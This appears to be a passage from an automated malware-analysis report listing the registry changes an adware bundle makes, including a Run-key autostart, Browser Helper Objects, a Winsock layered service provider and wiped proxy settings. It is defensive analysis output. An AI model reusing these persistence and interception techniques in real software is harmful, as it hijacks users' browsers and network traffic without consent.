"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe,"

The process WebPlayer.exe:2972 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351234145"

[HKCU\Software\WebPlayer\AppsHat]
"start-on-windows" = "true"
"Config" = "{""group-name"":""AppsHat""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6E AA 86 7D 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\WebPlayer\AppsHat]
"last_config_request" = "Thu Feb 12 07:33:58 UTC 0200 2015"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\WebPlayer\AppsHat]
"first_run_complete" = "true"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "4C E7 8B 81 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 54 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\WebPlayer\AppsHat]
"Version" = "2.13"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "WebPlayer.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "4C E7 8B 81 85 46 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process Devtf.exe:2136 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "A4A2CE24A1134121A4E793B05C1D9E9FIE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledFirefox" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"Publisher" = "Lid"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "6c07540f28a2d49bcc83e35251348f30"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayName" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "FD 70 C9 76 85 46 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"UninstallString" = "%Program Files% (x86)\App Lid\Uninstall.exe /fcp=1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrPublisherId" = "25286"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "6c07540f28a2d49bcc83e35251348f30"

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "CA 77 6D 79 85 46 D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayVersion" = "1.36.01.22"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "A4A2CE24A1134121A4E793B05C1D9E9FIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4F 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrAppId" = "65743"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayIcon" = "%Program Files% (x86)\App Lid\utils.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\InstalledBrowserExtensions\Lid]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "CA 77 6D 79 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process regsvr32.exe:3020 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:1696 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "YTAHelper 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"NoExplorer" = "1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]

The process regsvr32.exe:3180 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

"NoExplorer" = "1"

The process regsvr32.exe:3528 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process lspinst.exe:4088 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C5 A5 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1020"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "PDJVrQQlx|acP_w}Yu`fRISI`@Ntl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
